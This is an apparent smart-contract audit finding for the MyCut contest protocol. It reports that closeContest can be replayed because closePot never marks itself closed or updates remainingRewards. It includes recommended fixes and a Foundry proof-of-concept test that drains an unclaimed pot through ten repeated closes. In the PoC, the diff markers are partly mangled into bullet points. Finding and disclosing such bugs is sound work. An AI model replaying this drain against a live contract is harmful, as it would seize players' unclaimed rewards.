MyCut

Description

Pot.closePot never writes remainingRewards, never clears claimants, and never sets a closed flag. ContestManager.closeContest is a bare onlyOwner wrapper with no closed mapping. After the 90-day claim window, the owner can call closeContest again and again. Each call recomputes managerCut = remainingRewards / 10 from the stale constructor value and transfers that amount to ContestManager.

With zero claimants the residual split is a no-op (claimants.length == 0), so the only outflow per close is the 10% manager cut. Ten sequential closes move the entire pot balance to the manager. An 11th call reverts in IERC20.transfer for insufficient balance — not because close is terminal.

claimCut has no deadline, so the 90% left after a single designed close is still player-claimable. The replay seizes those funds as extra manager cuts and leaves the pot insolvent relative to remainingRewards.

Deep Dive

remainingRewards is written in two places only: the constructor and claimCut.

closePot reads remainingRewards to size the manager cut, then transfers, but never updates the accounting or marks the pot closed:

The only guards are:

1. onlyOwner — the closer is the owner (ContestManager).

2. The 90-day check — satisfied after a single warp.

3. if (remainingRewards > 0) — stays true forever if no one called claimCut, because remainingRewards is never written here.

ContestManager.closeContest adds nothing:

Designed single-close residual for a 300e18 pot with zero claimants:

• managerCut = 300e18 / 10 = 30e18

• Σ residual to claimants = 0 (claimants.length == 0)

• dust left in pot = 270e18 (still player-claimable via claimCut)

Because remainingRewards stays 300e18, every subsequent close recomputes the same 30e18 cut and transfers it again.

Exploitation

Preconditions: standard ERC20 (no fee-on-transfer), owner-funded pot, no claimCut calls so remainingRewards stays at i_totalRewards.

1. Owner deploys ContestManager, mints and approves 300e18.

2. createContest([P1, P2, P3], [100e18, 100e18, 100e18], token, 300e18) — deploys Pot with remainingRewards = 300e18, claimants = [].

3. fundContest(0) — pot token balance is 300e18.

4. No player calls claimCut.

5. vm.warp to i_deployedAt + 90 days.

6. Owner calls closeContest(pot) ten times.

Each call transfers managerCut = 300e18 / 10 = 30e18 to ContestManager and leaves remainingRewards = 300e18.

After the 10th close:

| State | Value |
|---|---|
| token.balanceOf(pot) | 0 |
| token.balanceOf(ContestManager) | 300e18 |
| getRemainingRewards() | 300e18 (stale) |
| Extra vs one-close invariant | 270e18 |

An 11th closeContest reverts in IERC20.transfer for insufficient balance.

Confirmed by Foundry differential test ClosePotReplayZeroClaimantsTest::test_closePotReplayDrainsEntireUnclaimedPool.

Impact

High. The 270e18 that should remain claimable after one close is seized as extra manager cuts. Players who later call claimCut find the pot insolvent: remainingRewards still reports 300e18 and playersToRewards is untouched, but the ERC20 balance is 0, so _transferReward reverts.

Reachability is the normal owner path (create + fund, no claims, warp 90 days, closeContest × 10). No exotic token, no privileged role beyond the documented owner/admin. The owner is trusted to create and close pots, but not to convert the entire unclaimed player pool into repeated 10% cuts — that breaks the protocol's stated residual split (manager 10%, claimants share the rest, unclaimed remainder stays for late claimCut).

Recommendation

Make close terminal and keep accounting consistent with transfers:

1. Add a closed flag (or check remainingRewards == 0 after zeroing) and revert on a second closePot / closeContest.

2. In closePot, after computing managerCut, set remainingRewards = remainingRewards - managerCut (and subtract residual claimant payouts), or zero it if the remaining pool is being fully distributed.

3. Optionally also record close on ContestManager (mapping(address => bool) closed) so the wrapper cannot re-enter even if a future Pot is swapped.

Minimum fix: if (closed) revert; closed = true; at the top of closePot, plus remainingRewards -= managerCut after the manager transfer so a missed flag still cannot reprint the same cut.

Proof of Concept

diff --git a/test/ClosePotReplayZeroClaimants.t.sol b/test/ClosePotReplayZeroClaimants.t.sol
new file mode 100644
index 0000000..5fa5ad1
--- /dev/null
+++ b/test/ClosePotReplayZeroClaimants.t.sol
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+// Attacker: ContestManager owner (onlyOwner closer).
+// Impact: After 90 days with zero claims, closeContest can be replayed until the
+// entire unclaimed pot is taken as repeated 10% manager cuts.
+// Run: forge test --match-test test_closePotReplayDrainsEntireUnclaimedPool -vvv
+
+import {ContestManager} from "../src/ContestManager.sol";
+import {Pot} from "../src/Pot.sol";
+import {Test, console} from "lib/forge-std/src/Test.sol";
+import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
+import {ERC20Mock} from "./ERC20Mock.sol";
+
+contract ClosePotReplayZeroClaimantsTest is Test {

• ContestManager manager;

• ERC20Mock token;

• address owner = makeAddr("owner");

• address p1 = makeAddr("p1");

• address p2 = makeAddr("p2");

• address p3 = makeAddr("p3");

+

• uint256 constant TOTAL = 300e18;

• uint256 constant MANAGER_CUT = 30e18; // remainingRewards / 10, remainingRewards never written down

+

• function setUp() public {

• vm.startPrank(owner);

• manager = new ContestManager();

• token = new ERC20Mock("WETH", "WETH", owner, 0);

• token.mint(owner, TOTAL);

• token.approve(address(manager), TOTAL);

• vm.stopPrank();

• }

+

• function test_closePotReplayDrainsEntireUnclaimedPool() public {

• address[] memory players = new address[](3);

• players[0] = p1;

• players[1] = p2;

• players[2] = p3;

• uint256[] memory rewards = new uint256[](3);

• rewards[0] = 100e18;

• rewards[1] = 100e18;

• rewards[2] = 100e18;

+

• vm.startPrank(owner);

• address pot = manager.createContest(players, rewards, IERC20(token), TOTAL);

• manager.fundContest(0);

• vm.stopPrank();

+

• assertEq(token.balanceOf(pot), TOTAL);

• assertEq(token.balanceOf(address(manager)), 0);

• assertEq(Pot(pot).getRemainingRewards(), TOTAL);

+

• // No player claims. remainingRewards stays at constructor value.

• vm.warp(block.timestamp + 90 days);

+

• // One designed close: managerCut = 30e18, claimants=[] so residual stays in pot.

• vm.prank(owner);

• manager.closeContest(pot);

• assertEq(token.balanceOf(address(manager)), MANAGER_CUT);

• assertEq(token.balanceOf(pot), TOTAL - MANAGER_CUT);

• assertEq(Pot(pot).getRemainingRewards(), TOTAL, "remainingRewards never zeroed");

+

• // Replay until pot is empty. Each call recomputes cut from stale remainingRewards.

• for (uint256 i = 1; i < 10; i++) {

• vm.prank(owner);

• manager.closeContest(pot);

• assertEq(token.balanceOf(address(manager)), MANAGER_CUT * (i + 1));

• assertEq(Pot(pot).getRemainingRewards(), TOTAL);

• }

+

• assertEq(token.balanceOf(pot), 0, "entire unclaimed pool drained");

• assertEq(token.balanceOf(address(manager)), TOTAL, "owner path seized all 300e18");

• assertEq(Pot(pot).getRemainingRewards(), TOTAL, "accounting still thinks 300e18 remains");

+

• uint256 extraVsOneClose = token.balanceOf(address(manager)) - MANAGER_CUT;

• assertEq(extraVsOneClose, 270e18, "extra residual outflow vs single designed close");

+

• // 11th close is not terminal — it fails only because the pot is empty.

• vm.prank(owner);

• vm.expectRevert();

• manager.closeContest(pot);

+

• console.log("pot balance after 10 closes:", token.balanceOf(pot));

• console.log("manager balance after 10 closes:", token.balanceOf(address(manager)));

• console.log("getRemainingRewards (stale):", Pot(pot).getRemainingRewards());

• console.log("extra vs one-close invariant:", extraVsOneClose);

• }

+}